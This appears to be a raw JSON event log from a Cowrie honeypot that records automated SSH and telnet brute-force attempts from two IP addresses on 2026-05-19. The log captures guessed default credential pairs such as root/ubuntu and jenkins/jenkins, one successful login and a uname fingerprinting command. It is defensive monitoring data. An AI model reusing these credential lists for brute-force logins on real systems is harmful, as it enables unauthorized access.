{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45826,"dst_ip":"10.17.0.5","dst_port":22,"session":"01b778d9dc71","protocol":"ssh","message":"New connection: 45.153.34.112:45826 (10.17.0.5:22) [session: 01b778d9dc71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:06.138978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:06.144807Z","src_ip":"45.153.34.112","session":"01b778d9dc71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:06.241569Z","src_ip":"45.153.34.112","session":"01b778d9dc71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:06.491576Z","src_ip":"45.153.34.112","session":"01b778d9dc71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:07.608915Z","src_ip":"45.153.34.112","session":"01b778d9dc71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50700,"dst_ip":"10.17.0.5","dst_port":23,"session":"02d77fddbc97","protocol":"telnet","message":"New connection: 192.119.13.58:50700 (10.17.0.5:23) [session: 02d77fddbc97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:08.308684Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54292,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f3e56bd4c0c","protocol":"telnet","message":"New connection: 192.119.13.58:54292 (10.17.0.5:23) [session: 1f3e56bd4c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:09.168938Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37836,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d608992d94b","protocol":"ssh","message":"New connection: 45.153.34.112:37836 (10.17.0.5:22) [session: 1d608992d94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:09.850611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:09.855751Z","src_ip":"45.153.34.112","session":"1d608992d94b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:09.946231Z","src_ip":"45.153.34.112","session":"1d608992d94b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:10.195510Z","src_ip":"45.153.34.112","session":"1d608992d94b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:11.286008Z","src_ip":"45.153.34.112","session":"1d608992d94b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.06082034111023,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:12.408026Z","src_ip":"192.119.13.58","session":"4fda6db5bb74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37852,"dst_ip":"10.17.0.5","dst_port":22,"session":"2de93e16aebe","protocol":"ssh","message":"New connection: 45.153.34.112:37852 (10.17.0.5:22) [session: 2de93e16aebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:13.446437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:13.451585Z","src_ip":"45.153.34.112","session":"2de93e16aebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:13.534483Z","src_ip":"45.153.34.112","session":"2de93e16aebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:13.787692Z","src_ip":"45.153.34.112","session":"2de93e16aebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:14.874873Z","src_ip":"45.153.34.112","session":"2de93e16aebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.8832151889801,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:16.891903Z","src_ip":"192.119.13.58","session":"40f31a3bc037","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37864,"dst_ip":"10.17.0.5","dst_port":22,"session":"335ad6c4988f","protocol":"ssh","message":"New connection: 45.153.34.112:37864 (10.17.0.5:22) [session: 335ad6c4988f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:16.930882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:16.939968Z","src_ip":"45.153.34.112","session":"335ad6c4988f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:17.026397Z","src_ip":"45.153.34.112","session":"335ad6c4988f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:17.495785Z","src_ip":"45.153.34.112","session":"335ad6c4988f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32784,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7cdb14b1f68","protocol":"telnet","message":"New connection: 192.119.13.58:32784 (10.17.0.5:23) [session: d7cdb14b1f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:17.622775Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:17.720127Z","src_ip":"45.153.34.112","session":"335ad6c4988f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:17.724308Z","src_ip":"45.153.34.112","session":"335ad6c4988f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:17.813004Z","src_ip":"45.153.34.112","session":"335ad6c4988f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:17.819426Z","src_ip":"45.153.34.112","session":"335ad6c4988f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36204,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cf95736c878","protocol":"ssh","message":"New connection: 45.153.34.112:36204 (10.17.0.5:22) [session: 6cf95736c878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:20.431264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:20.445364Z","src_ip":"45.153.34.112","session":"6cf95736c878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:20.528649Z","src_ip":"45.153.34.112","session":"6cf95736c878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:20.778094Z","src_ip":"45.153.34.112","session":"6cf95736c878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:21.866983Z","src_ip":"45.153.34.112","session":"6cf95736c878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56234,"dst_ip":"10.17.0.5","dst_port":23,"session":"cddf45689415","protocol":"telnet","message":"New connection: 192.119.13.58:56234 (10.17.0.5:23) [session: cddf45689415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:23.540287Z"}
{"eventid":"cowrie.session.closed","duration":0.0050907135009765625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:23.545202Z","src_ip":"192.119.13.58","session":"cddf45689415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.04214811325073,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:23.724907Z","src_ip":"192.119.13.58","session":"903ee77c281b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36230,"dst_ip":"10.17.0.5","dst_port":22,"session":"53c9364b951a","protocol":"ssh","message":"New connection: 45.153.34.112:36230 (10.17.0.5:22) [session: 53c9364b951a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:24.088924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:24.097360Z","src_ip":"45.153.34.112","session":"53c9364b951a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:24.180273Z","src_ip":"45.153.34.112","session":"53c9364b951a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:24.432720Z","src_ip":"45.153.34.112","session":"53c9364b951a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:25.521862Z","src_ip":"45.153.34.112","session":"53c9364b951a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.70567178726196,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:25.923578Z","src_ip":"192.119.13.58","session":"a865db0a04cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.14585614204407,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:26.054633Z","src_ip":"192.119.13.58","session":"c8bd80b6370c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36246,"dst_ip":"10.17.0.5","dst_port":22,"session":"825484d4a6a4","protocol":"ssh","message":"New connection: 45.153.34.112:36246 (10.17.0.5:22) [session: 825484d4a6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:27.724934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:27.730055Z","src_ip":"45.153.34.112","session":"825484d4a6a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:27.813002Z","src_ip":"45.153.34.112","session":"825484d4a6a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46346,"dst_ip":"10.17.0.5","dst_port":23,"session":"f338b2196af6","protocol":"telnet","message":"New connection: 192.119.13.58:46346 (10.17.0.5:23) [session: f338b2196af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:27.936173Z"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:28.145817Z","src_ip":"45.153.34.112","session":"825484d4a6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:29.231723Z","src_ip":"45.153.34.112","session":"825484d4a6a4","protocol":"ssh"}
